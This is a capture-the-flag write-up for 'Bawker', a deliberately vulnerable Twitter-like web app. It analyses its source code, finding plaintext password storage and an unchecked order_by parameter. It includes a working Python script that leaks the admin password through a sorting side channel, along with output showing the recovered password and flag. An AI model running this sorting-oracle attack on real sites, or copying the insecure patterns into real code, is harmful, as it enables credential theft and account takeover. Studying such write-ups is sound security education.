

Bawker (Blue Hens CTF 2026)

Description:

I vibe coded a twitter alternative

Table of contents

- [I. Overview](#)
 - [II. Source code analysis](#)
 - [III. Vulnerability Analysis](#)
 - [IV. Exploitation](#)
-

I. Overview

The web application basically has fundamental functions similar to 'twitter' as description suggest, including: register, login, feed page, user-search function, find user, update profile, follow/unfollow other user via api, update information as public/private. Below are some pictures of the web.

The screenshot shows the 'Join the Coop' registration page of the Bawker web application. The header features the 'Bawker' logo with the tagline 'Henwire for the whole coop' and navigation buttons for 'Feed', 'Search Bawks', 'Discover User', 'Login', and 'Register'. The registration form includes fields for Username, Password, Display Name, and Bio, followed by a 'Private profile' checkbox and a 'Create Account' button. A link to 'Login instead' is provided at the bottom of the form.

Bawker Henwire for the whole coop

Feed Search Bawks Discover User Login Register

Join the Coop

Claim your perch and publish your first bawk.

Username

Password

Display Name

Bio

☐ Private profile

Create Account

Already signed up? [Login instead.](#)

Bawker Henwire for the whole coop

FeedSearch BawksDiscover UserLoginRegister

Welcome Back to the Coop

Log in to start bawking again.

Username

Password

Login

No account yet? [Create one.](#)

Bawker Henwire for the whole coop

FeedSearch BawksDiscover UserEdit Profile● bbtLogout

The Roost

Latest bawks from around the coop.

SearchPage Size

Search bawks10

Apply

Bawk Something

Share coop news in 140 chars

☐ Private bawk

Post Bawk

domixi2026-04-21 09:43

mixi corp

Likes: 0Rebawks: 0LikeRebawk

bbt2026-04-21 09:42

Private bawk

What're you lookin 4 huh?

Likes: 0Rebawks: 0LikeRebawk

bbt2026-04-21 09:42

Nothing here

Likes: 0Rebawks: 0LikeRebawk

Page 1 of 1 · 3 bawks

Bawker

Henwire for the whole coop

Feed

Search Bawks

Discover User

Edit Profile

●

 bbt

Logout

Search Bawks

Search

Find by keyword

Page Size

10

▼

Apply

domixi

2026-04-21 09:43

mixi corp

Likes: 0 Rebawks: 0

bbt

2026-04-21 09:42

Private bawk

What're you lookin 4 huh?

Likes: 0 Rebawks: 0

bbt

2026-04-21 09:42

Nothing here

Likes: 0 Rebawks: 0

Bawker

Henwire for the whole coop

Feed

Search Bawks

Discover User

Edit Profile

●

 bbt

Logout

Discover User

Search

Username, display name, l

Page Size

10

▼

Apply

No users matched this search.

Page 1 of 0 · 0 users

The webapp has flaw in storing plaintext password and allowing user to search for bawks and order them by some attributes (particularly password), thereby hacker can create hundreds of accounts with different forms of password and gradually extract the admin password char by char.

II. Source code analysis

```

.
├─ / [GET]                                GET: error, search, page, size
├─ /login [GET]                           GET: error
├─ /register [GET]                        GET: error
├─ /auth
│   ├── /login [POST]                    POST: username, password
│   └── /register [POST]                 POST: username, password,
display_name, bio, is_private
├─ /logout [POST]
├─ /bawks
│   ├── /create [POST]                   POST: content, is_private
│   └── /{bawk_id}
│       ├── /like [POST]
│       ├── /rebawk [POST]
│       └── /delete [POST]
├─ /users
│   └── /me [POST]                       POST: username, display_name, bio,
is_private
│       ├── /{user_id}
│       ├── /follow [POST]
│       └── /unfollow [POST]
├─ /search
│   ├── /users [GET]                     GET: search, page, size
│   └── /bawks [GET]                     GET: search, page, size
├─ /profile
│   └── /edit [GET]                       GET: error, success

```



```

└─ /api
  └─ /auth
    └─ /register [POST]          POST: username, password,
display_name, bio, is_private
    └─ /login [POST]           POST: username, password
    └─ /logout [POST]
    └─ /me [GET]
    └─ /bawks [GET,POST]       GET: page, size | POST: content,
is_private
    └─ /{bawk_id} [PATCH,DELETE] PATCH: content, is_private
      └─ /like [POST]
      └─ /rebawk [POST]
    └─ /users [GET]           GET: page, size
      └─ /me [PATCH]         PATCH: username, display_name, bio,
is_private
    └─ /{user_id}
      └─ /followers [GET]      GET: page, size
      └─ /following [GET]     GET: page, size
      └─ /follow [POST]
      └─ /unfollow [POST]

```

For the code base is really large, I'll only walk through and explain vital parts and endpoints/services.

The web has **follow** function in which user can follow others via id.

- **/api/users/{user_id}/follow**: It's just basically follow other users

```

209
210 @router.post("/api/users/{user_id}/follow", status_code=status.HTTP_204_NO_CONTENT)
211 def api_follow_user(
212     user_id: int,
213     current_user: User = Depends(require_current_user),
214     session: Session = Depends(get_session),
215 ) -> Response:
216     viewer_id = _require_user_id(current_user)
217     if viewer_id == user_id:
218         raise HTTPException(
219             status_code=status.HTTP_400_BAD_REQUEST, detail="You cannot follow yourself"
220         )
221     _user_or_404(session, user_id)
222     if not _follows(session, viewer_id, user_id):
223         session.add(Follow(follower_id=viewer_id, following_id=user_id))
224         session.commit()
225     return Response(status_code=status.HTTP_204_NO_CONTENT)

```

Annotations:

- user in the current session must be valid** (points to `current_user: User = Depends(require_current_user)`)
- can't follow yourself** (points to `if viewer_id == user_id:`)
- check if user_id exists** (points to `_user_or_404(session, user_id)`)
- if you haven't followed user_id, insert a new record of Follow into database** (points to `if not _follows(session, viewer_id, user_id):`)

- **/api/bawk**: show bawk of yourself, public account with public bawk, private account if both follow each other

```

81 @router.get("/api/bawks", response_model=Page[BawkPublic])
82 def list_bawks(
83     current_user: User | None = Depends(get_current_user_optional),
84     session: Session = Depends(get_session),
85 ):
86     viewer_id = _optional_user_id(current_user)
87
88     query = (
89         select(Bawk)
90         .join(User, col(User.id) == col(Bawk.author_id))
91         .where(_bawk_visibility_condition(viewer_id))
92     )
93
94     return paginate(session, query) # type: ignore[arg-type]
95
96
97
38 def _bawk_visibility_condition(viewer_id: int | None):
39     if viewer_id is None:
40         return and_(
41             not(col(Bawk.is_private)),
42             not(col(User.is_private)),
43         )
44
45     can_view_author = visible_user_condition(viewer_id)
46     can_view_private_bawk = follow_condition(viewer_id)
47     return or_(
48         col(Bawk.author_id) == viewer_id,
49         and_(
50             can_view_author,
51             or_(not(col(Bawk.is_private)), can_view_private_bawk),
52         ),
53     )
54
55     +) public bawk of public account
56     +) my bawk
57     +) private bawk but must follow each other

```

```

11 def follow_condition(viewer_id: int) -> ColumnElement[bool]:
12     follows_author = exists().where(
13         and_(
14             col(Follow.follower_id) == viewer_id,
15             col(Follow.following_id) == col(User.id),
16         )
17     )
18     author_follows_viewer = exists().where(
19         and_(
20             col(Follow.follower_id) == col(User.id),
21             col(Follow.following_id) == viewer_id,
22         )
23     )
24     return and_(follows_author, author_follows_viewer)
25
26 # user himself or users who are public or 2 users follow each other

```

```

11 def follow_condition(viewer_id: int) -> ColumnElement[bool]:
21     col(Follow.following_id) == viewer_id,
22 )
23 )
24 return and_(follows_author, author_follows_viewer)
25
26 # user himself or users who are public or 2 users follow each other
27 def visible_user_condition(viewer_id: int) -> ColumnElement[bool]:
28     return or_(
29         col(User.id) == viewer_id,
30         not(col(User.is_private)),
31         follow_condition(viewer_id),
32     )
33

```

- For the database, server tries to store password in plaintext rather than hash by removing all hashed password column

```

149 def _migrate_legacy_user_password_column() -> None:
150     if not settings.database_url.startswith("sqlite"):
151         return
152
153     with engine.begin() as connection:
154         user_table_exists = connection.exec_driver_sql(
155             "SELECT name FROM sqlite_master WHERE type='table' AND name='user'"
156         ).first()
157         if user_table_exists is None:
158             return
159
160         has_password = _sqlite_has_column(connection, "user", "password")
161         has_hashed_password = _sqlite_has_column(connection, "user", "hashed_password")
162
163         if has_password and not has_hashed_password:
164             return
165
166         if has_hashed_password and not has_password:
167             try:
168                 connection.exec_driver_sql(
169                     "ALTER TABLE user RENAME COLUMN hashed_password TO password"
170                 )
171                 return
172             except Exception:
173                 _rebuild_user_table_with_password_column(connection, "hashed_password")
174                 return
175
176         if has_password and has_hashed_password:
177             try:
178                 connection.exec_driver_sql(
179                     "ALTER TABLE user DROP COLUMN hashed_password"
180                 )
181                 return
182             except Exception:
183                 _rebuild_user_table_with_password_column(connection, "password")
184

```

password, not hashed password is okay

if not password but hashed password, rename to password

if there are both, drop the hashed password one

- For the admin account, it is initialized with `user_id = 0`, `is_private = True` and `bawk content is Flag`

```

26
27
28 def _generate_bootstrap_admin_password() -> str:
29     alphabet = string.ascii_letters + string.digits
30     return "".join(
31         secrets.choice(alphabet) for _ in range(_BOOTSTRAP_ADMIN_PASSWORD_LEN)
32     )
33
34
35 def _bootstrap_admin_and_flag_post() -> None:
36     with Session(engine) as session:
37         admin = session.get(User, 0)
38
39         if admin is None:
40             admin = User(
41                 id=0,
42                 username="admin",
43                 display_name="Admin",
44                 bio="Admin User",
45                 password=_generate_bootstrap_admin_password(),
46                 is_private=True,
47                 is_active=True,
48                 created_at=datetime.now(timezone.utc),
49             )
50             session.add(admin)
51             session.commit()
52             session.refresh(admin)
53
54             admin_changed = False
55             if admin.username != "admin":
56                 admin.username = "admin"
57                 admin.password = _generate_bootstrap_admin_password()
58                 admin_changed = True
59             if not admin.is_private:
60                 admin.is_private = True
61                 admin_changed = True
62             if admin_changed:
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

```

password is stored in plaintext

create admin bawlk whose content is flag

```

35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

```

flag_post_content = f"Hello, the flag is: {FLAG_VALUE}"

existing_flag_post = session.exec(

select(Bawlk)

.where(Bawlk.author_id == 0)

.where(Bawlk.content == flag_post_content)

).first()

if existing_flag_post is None:

now = datetime.now(timezone.utc)

flag_post = Bawlk(

author_id=0,

content=flag_post_content,

is_private=True,

created_at=now,

updated_at=now,

)

session.add(flag_post)

session.commit()

def _rebuild_user_table_with_password_column(

connection, source_password_column: str

- For the normal user, registration also stores password in plaintext as well.

```

37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

```

session.add(user)

session.commit()

session.refresh(user)

return user

@router.post(

"/api/auth/register", response_model=UserPublic, status_code=201

)

def api_register(

user_data: UserRegister,

response: Response,

session: Session = Depends(get_session),

) -> User:

user = _create_user(session, user_data)

token = create_access_token(str(user.id))

set_auth_cookie(response, token)

return user

@router.post("/api/auth/login", response_model=UserPublic)

def api_login(

login_data: UserLogin,

response: Response,

session: Session = Depends(get_session),

) -> User:

user = _find_user_by_username(session, login_data.username)

if user is None or login_data.password != user.password:

raise HTTPException(

status_code=status.HTTP_401_UNAUTHORIZED,

detail="Incorrect username or password",

)

return user

- /search/users: Show your account, public accounts and accounts you follow. Sort the account by username in default.

The screenshot shows two Python files in a code editor. The left file, `search_users_page`, contains a function `search_users_page` that handles user search requests. The right file, `user_filter.py`, defines a `UserFilter` class and a `Constants` class.

Annotations in the image:

- A red box highlights the `user_filter: UserFilter = FilterDepends(UserFilter)` line in `search_users_page`.
- A red box highlights the `query = select(User).where(...)` block in `search_users_page`, with a green note: "only show my account, public account and following account".
- A red box highlights the `query = user_filter.filter(query)` line in `search_users_page`.
- A red box highlights the `page = paginate(session, query, params)` line in `search_users_page`, with a green note: "split into pages if there are too many accounts".
- A red box highlights the `order_by: list[str] | None = ["username"]` line in the `UserFilter` class in `user_filter.py`.
- A red box highlights the `search_model_fields` list in the `Constants` class in `user_filter.py`.
- A green note points to the `order_by` field: "order the found account by username if not specified".

III. Vulnerability Analysis

The main problem here is that server stores password in plaintext, not hash.

In the `UserFilter`, dev may be unaware of that user can insert param `order_by` in the url to override the default value. Or if they do be aware, they lack of proper validation/filter.

In this case, attacker can add a param `order_by=password` in the URL to fine-tune the sorted output.

Note the `order_by` works on fields of the specified model, in this case is `User` which of course consists of `password` field. (The author say so. Read more [here](#))

The screenshot shows the `filter.py` file in a code editor. A red box highlights a comment:

```
Sorting doesn't support related fields, you can only use the attributes of the targeted model/collection.
For example, you can't use `related_model__attribute`.
```

The code also includes a `Constants` class with attributes like `model`, `ordering_field_name`, `search_model_fields`, `search_field_name`, `prefix`, and `original_filter`.

IV. Exploitation

The flow is now clear. Since we can't make admin follow us back to read his private bawk. We will leak the password via account creation with different passwords to probe for admin password.

The main idea here is probing the password char by char (32-char password). Starting with the first character and padding the right-remaining by ~ because admin password comprises of alphanumerics only. For example: `abcd < a~~~~`, therefore, we can ensure that admin account always appears above our accounts.

I would use **Binary Search** algorithm for solving this. First, I register the middle one is `m~~~~~`, if admin appear above, so we know that first char of admin lies in range of `a` to `m` and so on for the remaining.

After each probe, I update the account to be `private` so that for each later search, the build of html content is alleviated, making it load faster to bruteforce.

Proof of Concept

```
import requests
import string
import time
import re

BASE_URL = "http://127.0.0.1:1337"
charset = sorted(list(string.ascii_letters + string.digits))
admin_password = ""

print("[*] Start Binary Search")

for i in range(32):
    low = 0
    high = len(charset) - 1

    while low < high:
        mid = (low + high) // 2
        test_char = charset[mid]

        test_pass = admin_password + test_char + "~" * (33 - len(admin_password) -
1)

        if len(test_pass) < 8:
            test_pass = test_pass.ljust(8, '~')

        test_username = f"test_{i}_{mid}"
        s = requests.Session()

        # Step 1 & 2: Register and Follow Admin
        s.post(f"{BASE_URL}/api/auth/register", json={"username": test_username,
"password": test_pass})
        s.post(f"{BASE_URL}/api/users/0/follow")

        # Step 3: Continue in the next page until find out admin
        all_users = []
        current_page = 1
```



```
while True:
    url = f"{BASE_URL}/search/users?order_by=password&size=50&page={current_page}"
    res = s.get(url)
    users_in_page = re.findall(r'<p>@(\w+)</p>', res.text)

    if not users_in_page:
        break

    all_users.extend(users_in_page)
    if "admin" in all_users and test_username in all_users:
        break
    current_page += 1

# Step 4: Position analysis
try:
    admin_index = all_users.index("admin")
    test_index = all_users.index(test_username)
except ValueError:
    print(f"[-] Lỗi: Không tìm thấy admin hoặc {test_username}!")
    break

if admin_index < test_index:
    high = mid
else:
    low = mid + 1

# Step 5: Turn on private account
update_payload = {
    "username": test_username,
    "display_name": "",
    "bio": "",
    "is_private": "true"
}
s.post(f"{BASE_URL}/users/me", data=update_payload)

time.sleep(0.05)

admin_password += charset[low]
print(f"[+] Character number {i+1}: {charset[low]} ---> Current password: {admin_password}")

print(f"\n[+] Finished! The Admin password is: {admin_password}")
```

SQLite VIEW... v25.12.2

Page 1 / 2

Try Hydejack, a Jekyll theme for hackers, nerds, and academics

PROBLEMS 1 OUTPUT DEBUG CONSOLE TERMINAL PORTS

[+] Ký tự thứ 26: 4 ---> Mật khẩu hiện tại: NIUoP4EiG6fT2r74SH9GONZlY4L
[+] Ký tự thứ 27: L ---> Mật khẩu hiện tại: NIUoP4EiG6fT2r74SH9GONZlY4L
[+] Ký tự thứ 28: 9 ---> Mật khẩu hiện tại: NIUoP4EiG6fT2r74SH9GONZlY4L9
[+] Ký tự thứ 29: C ---> Mật khẩu hiện tại: NIUoP4EiG6fT2r74SH9GONZlY4L9C
[+] Ký tự thứ 30: 4 ---> Mật khẩu hiện tại: NIUoP4EiG6fT2r74SH9GONZlY4L9C4
[+] Ký tự thứ 31: I ---> Mật khẩu hiện tại: NIUoP4EiG6fT2r74SH9GONZlY4L9C4I
[+] Ký tự thứ 32: o ---> Mật khẩu hiện tại: NIUoP4EiG6fT2r74SH9GONZlY4L9C4Io

[+] HOÀN THÀNH! Mật khẩu Admin là: NIUoP4EiG6fT2r74SH9GONZlY4L9C4Io
PS C:\Users\ADMIN\Desktop\bawker_player_dist> |

Bawker
Henwire for the whole coop

Feed Search Bawks Discover User Edit Profile Admin Logout

The Roost
Latest bawks from around the coop.

Search Page Size
Search bawks 10
Apply

Bawk Something
Share coop news in 140 chars
Private bawk
Post Bawk

Admin 2026-04-18 09:36
Private bawk
Hello, the flag is UDCTF{PI34s3_D0_n0t_4ll0w_0rd3r_by_P4Ssw0rd!!}
Likes: 0 Rebawks: 0 Like Rebawk
Page 1 of 1 · 1 bawks

Flag: **UDCTF{PI34s3_D0_n0t_4ll0w_0rd3r_by_P4Ssw0rd!!}**